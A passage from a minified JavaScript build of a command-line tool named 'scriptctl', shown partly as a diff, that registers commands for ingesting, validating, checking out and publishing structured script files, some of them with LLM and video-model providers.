revision ${a.revision} to ${t}`,data:{changed:!0,script_path:t,metadata_path:o.metadataPath,managed:!0,dirty:!1,discarded_local:n&&r,project_group_no:c.projectGroupNo,base_revision:Number(a.revision)}},G]}function Nw(e){let t=me(e),n=bs.existsSync(t),o=Ds(t),i=n&&o!==null?Je(pu(t))!==o.baseContentHash:null;return[{text:o===null?`${t}: unmanaged local script`:`${t}: ${i?"dirty":"clean"} at revision ${o.baseRevision}`,data:{script_path:t,exists:n,managed:o!==null,dirty:i,...o===null?{}:{project_group_no:o.projectGroupNo,api_base_url:o.apiBaseUrl,base_revision:o.baseRevision}}},G]}async function Uw(e){let t=me(e),n=pu(t),o=Je(n),i=Ds(t);if(i!==null&&i.baseContentHash===o)return[{text:`No local changes; revision remains ${i.baseRevision}`,data:{changed:!1,published:!1,reason:"NO_CHANGES",revision:i.baseRevision,script_path:t}},G];let r=Bl(n);if(!r.passed)throw new S("The local script does not pass its declared Script version validation.",{exitCode:b,errorCode:"PUBLISH_VALIDATION_FAILED",hint:`Run \`scriptctl validate --script-path ${t}\`, repair the issues, then publish again.`,data:{actual:r.issues.slice(0,5).map(p=>`${p.path??"<root>"}: ${p.summary}`)}});let s=Bs(n).episodes.length,c={status:"valid",summary:{passed:!0,hasBlocking:!1,stats:r.stats??{},issueCount:0}};if(i!==null){let p=vw(e,i),l=await bv(p,t,n,o,i,c);return Gs(t,{schemaVersion:1,projectGroupNo:p.projectGroupNo,apiBaseUrl:p.gatewayBase,baseRevision:l.revision,baseContentHash:o}),await Pd(p,s),[{text:`Published local content over revision ${l.patchedFromRevision} \u2192 ${l.revision}`,data:{changed:!0,published:!0,created:!1,transport:"patch",script_path:t,project_group_no:p.projectGroupNo,base_revision:l.patchedFromRevision,revision:l.revision,attempts:l.attempts,recovered:l.recovered}},G]}let a=du(cu(e)||null),d=await vv(a,t,n,o,c);return Gs(t,{schemaVersion:1,projectGroupNo:a.projectGroupNo,apiBaseUrl:a.gatewayBase,baseRevision:d.revision,baseContentHash:o}),await Pd(a,s),[{text:`Published revision ${d.patchedFromRevision} \u2192 ${d.revision}`,data:{changed:!0,published:!0,created:!0,transport:"patch",script_path:t,project_group_no:a.projectGroupNo,base_revision:d.patchedFromRevision,revision:d.revision,attempts:d.attempts,recovered:d.recovered}},G]}function Pw(e,t,n){e.command("migrate").description("Create a newer Script schema copy through the registered migration chain").requiredOption("-p, --script-path <path>","Source Script JSON file").requiredOption("-o, --output <file>","Destination Script JSON file").requiredOption("--to <version>","Target Script version").option("--manifest <file>","Migration manifest output").option("--force","Replace existing migration artifacts").addHelpText("after",`
1025
1025
  Example:
1026
1026
  scriptctl migrate -p ./old-script.json -o ./script-v4.json --to 4
1027
- `).action(H(mw,t));let o=e.command("ingest").description("Convert source files into a Script v4 workspace").option("-s, --source-path <path>","Text, video or PDF comic file/directory").option("-w, --workspace-path <path>","Workspace directory","workspace").option("--llm-config <path>","LLM configuration file").option("--concurrency <n>","Maximum concurrent model calls").option("--fps <n>","Video sampling rate").option("--upload-mode <mode>","Video transport: file-api or base64 (default follows provider)").option("--video-output <format>","Video model output format: dsl or json (default dsl)").option("--video-provider <provider>","Video provider: gemini or doubao (explicit selection disables fallback)").option("--provider-base-url <url>","Selected video provider service root").option("--provider-api-key <key>","Provider API key (visible in process arguments; prefer --provider-api-key-env)").option("--provider-api-key-env <name>","Environment variable containing the provider API key").option("--provider-model <model>","Selected video provider model (Doubao defaults to DOUBAO_TURBO_MODEL)").option("--step","Process only the next unfinished video episode or comic chapter").option("--force","Rebuild completed stages").addHelpText("after",`
1027
+ `).action(H(fw,t));let o=e.command("ingest").description("Convert source files into a Script v4 workspace").option("-s, --source-path <path>","Text, video or PDF comic file/directory").option("-w, --workspace-path <path>","Workspace directory","workspace").option("--llm-config <path>","LLM configuration file").option("--concurrency <n>","Maximum concurrent model calls").option("--fps <n>","Video sampling rate").option("--upload-mode <mode>","Video transport: file-api or base64 (default follows provider)").option("--video-output <format>","Video model output format: dsl or json (default dsl)").option("--video-provider <provider>","Video provider: gemini or doubao (explicit selection disables fallback)").option("--provider-base-url <url>","Selected video provider service root").option("--provider-api-key <key>","Provider API key (visible in process arguments; prefer --provider-api-key-env)").option("--provider-api-key-env <name>","Environment variable containing the provider API key").option("--provider-model <model>","Selected video provider model (Doubao defaults to DOUBAO_TURBO_MODEL)").option("--step","Process only the next unfinished video episode or comic chapter").option("--force","Rebuild completed stages").addHelpText("after",`
1028
1028
  Example:
1029
1029
  scriptctl ingest --source-path ./draft.md --workspace-path ./workspace
1030
- `).action(H(r=>Ty(r,n),t));o.command("status").description("Show ingest workspace progress").option("-w, --workspace-path <path>","Workspace directory").action(H($y,t)),o.command("skip").description("Manually accept the next failed video episode as empty").option("-w, --workspace-path <path>","Workspace directory").requiredOption("--episode <n>","Failed episode number").requiredOption("--reason <text>","Why this episode is being skipped").addHelpText("after",`
1030
+ `).action(H(r=>Cy(r,n),t));o.command("status").description("Show ingest workspace progress").option("-w, --workspace-path <path>","Workspace directory").action(H(Vy,t)),o.command("skip").description("Manually accept the next failed video episode as empty").option("-w, --workspace-path <path>","Workspace directory").requiredOption("--episode <n>","Failed episode number").requiredOption("--reason <text>","Why this episode is being skipped").addHelpText("after",`
1031
1031
  Example:
1032
1032
  scriptctl ingest skip -w ./workspace --episode 7 --reason "provider policy block"
1033
- `).action(H(Dy,t)),e.command("evidence").description("Generate local original-video reference frames from final Script v4 timestamps").option("-p, --script-path <path>","Final Script v4 JSON file").requiredOption("-s, --source-path <path>","Linked source-video file or episode directory").requiredOption("-w, --workspace-path <path>","Project workspace directory").option("--force","Re-extract frames even when deterministic output files already exist").addHelpText("after",`
1033
+ `).action(H($y,t)),e.command("evidence").description("Generate local original-video reference frames from final Script v4 timestamps").option("-p, --script-path <path>","Final Script v4 JSON file").requiredOption("-s, --source-path <path>","Linked source-video file or episode directory").requiredOption("-w, --workspace-path <path>","Project workspace directory").option("--force","Re-extract frames even when deterministic output files already exist").addHelpText("after",`
1034
1034
  Example:
1035
1035
  scriptctl evidence -p ./script.json -s /Volumes/NAS/videos -w ./workspace --force
1036
- `).action(H(Gy,t)),e.command("view").description("Render or serve the workspace review page").option("-w, --workspace-path <path>","Workspace directory","workspace").option("--watch","Serve and refresh the review page").option("--port <n>","HTTP server port").action(H(zy,t)),bd(e.command("checkout")).description("Download a remote script into a managed local copy").option("--discard-local","Replace an existing dirty local copy").action(H(Nw,t)),ee(e.command("status"),"read").description("Show local working-copy state").action(H(Uw,t)),bd(e.command("publish")).description("Validate and publish the local working copy").action(H(Pw,t)),ee(e.command("create")).description("Create an empty script").option("--title <title>","Script title").option("--force","Replace an existing script file").action(H(dw,t)),ee(e.command("audit-assets"),"read").description("Audit asset consistency with an LLM").option("--llm-config <path>","LLM configuration file").option("-o, --output <path>","Audit JSON output file").action(H(r=>Wy(r,n),t));let i=e.command("synopsis").description("Generate synopsis fields with an LLM").action(()=>i.outputHelp());ee(i.command("generate")).description("Generate synopsis fields with an LLM").option("--model <profile>","Use this LLM profile for all synopsis stages").option("--llm-config <path>","LLM configuration file").option("--concurrency <n>","Maximum concurrent model calls","30").option("--checkpoint <dir>","Checkpoint directory").option("--overwrite","Regenerate existing synopsis fields").option("--apply","Write generated fields").option("-n, --dry-run","Generate a preview without writing").action(H(r=>kw(r,n),t))}function Mv(e,t=no){let n=new Ov("scriptctl").description("Read, edit, ingest, and publish structured scripts").usage("<command> [options]").exitOverride().allowExcessArguments(!1).allowUnknownOption(!1).showHelpAfterError(!1).configureOutput({writeOut:o=>process.stdout.write(o),writeErr:()=>{}}).option("-j, --json","Output structured JSON").option("--format <format>","Output format (addr)").version(Hi(),"-v, --version","Show the scriptctl version");return Cw(n,e,t),Ig(n,e),Mf(n,e),xg(n,e),im(n,e),n}function xc(e,t){let n=t.split("=",1)[0],o=e;for(;o;){let i=o.options.find(r=>r.short===n||r.long===n);if(i)return i;o=o.parent}}function Vw(e,t){if(!t.startsWith("-")||t.startsWith("--")||t.length<2)return{recognized:!1,json:!1,hasAttachedValue:!1};let n=!1;for(let o=1;o<t.length;o+=1){let i=xc(e,`-${t[o]}`);if(!i?.short)return{recognized:!1,json:!1,hasAttachedValue:!1};if(i.short==="-j"&&(n=!0),i.required||i.optional)return{recognized:!0,json:n,valueOption:i,hasAttachedValue:o<t.length-1}}return{recognized:!0,json:n,hasAttachedValue:!1}}function Lv(e,t){return t==="--"?!0:t.startsWith("--")?xc(e,t)!==void 0:Vw(e,t).recognized}function Tw(e,t,n){return n===void 0||n==="--"?!1:t.required?!Lv(e,n):t.optional&&!n.startsWith("-")}function Nv(e,t){let n=e;for(let o=0;o<t.length;o+=1){let i=t[o];if(i==="--")break;if(i.startsWith("--")){if(i==="--json")return!0;let s=xc(n,i);s&&!i.includes("=")&&Tw(n,s,t[o+1])&&(o+=1);continue}if(i.startsWith("-")){let s=Vw(n,i);if(s.recognized&&s.json)return!0;s.recognized&&s.valueOption&&!s.hasAttachedValue&&Tw(n,s.valueOption,t[o+1])&&(o+=1);continue}let r=n.commands.find(s=>s.name()===i);r&&(n=r)}return!1}function Uv(e,t){let n=e;for(let r=0;r<t.length;r+=1){let s=t[r];if(s.startsWith("-")){let a=xc(n,s);a&&!s.includes("=")&&(a.required||a.optional)&&(r+=1);continue}let c=n.commands.find(a=>a.name()===s);if(!c)break;n=c}let o=[],i=n;for(;i&&i.parent;)o.unshift(i.name()),i=i.parent;return["scriptctl",...o,"--help"].join(" ")}function Pv(e){return e.message.replace(/^error:\s*/i,"").replace(/\.$/,"")}async function Nj(e=null,t=no){Tf();let n=e??process.argv.slice(2),o={jsonMode:!1,exitCode:G},i=Mv(o,t);if(o.jsonMode=Nv(i,n),n.length===0)return i.outputHelp(),G;try{return await i.parseAsync(n,{from:"user"}),o.exitCode}catch(r){if(r instanceof Rv)return r.code==="commander.help"||r.code==="commander.helpDisplayed"||r.code==="commander.version"?G:Br(new S(Pv(r),{exitCode:B,errorCode:"USAGE_ERROR",hint:`Run '${Uv(i,n)}'.`}),o.jsonMode);if(r instanceof S)return Br(r,o.jsonMode);if(r instanceof T)return Br(new S(hn(r.failure),{exitCode:70,errorCode:"RUNTIME_ERROR"}),o.jsonMode);let s=r instanceof Error?r.message:String(r);return Br(new S(s,{exitCode:70,errorCode:"RUNTIME_ERROR"}),o.jsonMode)}}export{Mv as a,Nj as b};
1036
+ `).action(H(Dy,t)),e.command("view").description("Render or serve the workspace review page").option("-w, --workspace-path <path>","Workspace directory","workspace").option("--watch","Serve and refresh the review page").option("--port <n>","HTTP server port").action(H(jy,t)),kd(e.command("checkout")).description("Download a remote script into a managed local copy").option("--discard-local","Replace an existing dirty local copy").action(H(Lw,t)),ee(e.command("status"),"read").description("Show local working-copy state").action(H(Nw,t)),kd(e.command("publish")).description("Validate and publish the local working copy").action(H(Uw,t)),ee(e.command("create")).description("Create an empty script").option("--title <title>","Script title").option("--force","Replace an existing script file").action(H(cw,t)),ee(e.command("audit-assets"),"read").description("Audit asset consistency with an LLM").option("--llm-config <path>","LLM configuration file").option("-o, --output <path>","Audit JSON output file").action(H(r=>Zy(r,n),t));let i=e.command("synopsis").description("Generate synopsis fields with an LLM").action(()=>i.outputHelp());ee(i.command("generate")).description("Generate synopsis fields with an LLM").option("--model <profile>","Use this LLM profile for all synopsis stages").option("--llm-config <path>","LLM configuration file").option("--concurrency <n>","Maximum concurrent model calls","30").option("--checkpoint <dir>","Checkpoint directory").option("--overwrite","Regenerate existing synopsis fields").option("--apply","Write generated fields").option("-n, --dry-run","Generate a preview without writing").action(H(r=>Aw(r,n),t))}function Mv(e,t=to){let n=new Ov("scriptctl").description("Read, edit, ingest, and publish structured scripts").usage("<command> [options]").exitOverride().allowExcessArguments(!1).allowUnknownOption(!1).showHelpAfterError(!1).configureOutput({writeOut:o=>process.stdout.write(o),writeErr:()=>{}}).option("-j, --json","Output structured JSON").option("--format <format>","Output format (addr)").version(zi(),"-v, --version","Show the scriptctl version");return Pw(n,e,t),Sg(n,e),Rf(n,e),Eg(n,e),om(n,e),n}function Ec(e,t){let n=t.split("=",1)[0],o=e;for(;o;){let i=o.options.find(r=>r.short===n||r.long===n);if(i)return i;o=o.parent}}function Tw(e,t){if(!t.startsWith("-")||t.startsWith("--")||t.length<2)return{recognized:!1,json:!1,hasAttachedValue:!1};let n=!1;for(let o=1;o<t.length;o+=1){let i=Ec(e,`-${t[o]}`);if(!i?.short)return{recognized:!1,json:!1,hasAttachedValue:!1};if(i.short==="-j"&&(n=!0),i.required||i.optional)return{recognized:!0,json:n,valueOption:i,hasAttachedValue:o<t.length-1}}return{recognized:!0,json:n,hasAttachedValue:!1}}function Lv(e,t){return t==="--"?!0:t.startsWith("--")?Ec(e,t)!==void 0:Tw(e,t).recognized}function Cw(e,t,n){return n===void 0||n==="--"?!1:t.required?!Lv(e,n):t.optional&&!n.startsWith("-")}function Nv(e,t){let n=e;for(let o=0;o<t.length;o+=1){let i=t[o];if(i==="--")break;if(i.startsWith("--")){if(i==="--json")return!0;let s=Ec(n,i);s&&!i.includes("=")&&Cw(n,s,t[o+1])&&(o+=1);continue}if(i.startsWith("-")){let s=Tw(n,i);if(s.recognized&&s.json)return!0;s.recognized&&s.valueOption&&!s.hasAttachedValue&&Cw(n,s.valueOption,t[o+1])&&(o+=1);continue}let r=n.commands.find(s=>s.name()===i);r&&(n=r)}return!1}function Uv(e,t){let n=e;for(let r=0;r<t.length;r+=1){let s=t[r];if(s.startsWith("-")){let a=Ec(n,s);a&&!s.includes("=")&&(a.required||a.optional)&&(r+=1);continue}let c=n.commands.find(a=>a.name()===s);if(!c)break;n=c}let o=[],i=n;for(;i&&i.parent;)o.unshift(i.name()),i=i.parent;return["scriptctl",...o,"--help"].join(" ")}function Pv(e){return e.message.replace(/^error:\s*/i,"").replace(/\.$/,"")}async function Nj(e=null,t=to){Cf();let n=e??process.argv.slice(2),o={jsonMode:!1,exitCode:G},i=Mv(o,t);if(o.jsonMode=Nv(i,n),n.length===0)return i.outputHelp(),G;try{return await i.parseAsync(n,{from:"user"}),o.exitCode}catch(r){if(r instanceof Rv)return r.code==="commander.help"||r.code==="commander.helpDisplayed"||r.code==="commander.version"?G:Dr(new S(Pv(r),{exitCode:B,errorCode:"USAGE_ERROR",hint:`Run '${Uv(i,n)}'.`}),o.jsonMode);if(r instanceof S)return Dr(r,o.jsonMode);if(r instanceof T)return Dr(new S(hn(r.failure),{exitCode:70,errorCode:"RUNTIME_ERROR"}),o.jsonMode);let s=r instanceof Error?r.message:String(r);return Dr(new S(s,{exitCode:70,errorCode:"RUNTIME_ERROR"}),o.jsonMode)}}export{Mv as a,Nj as b};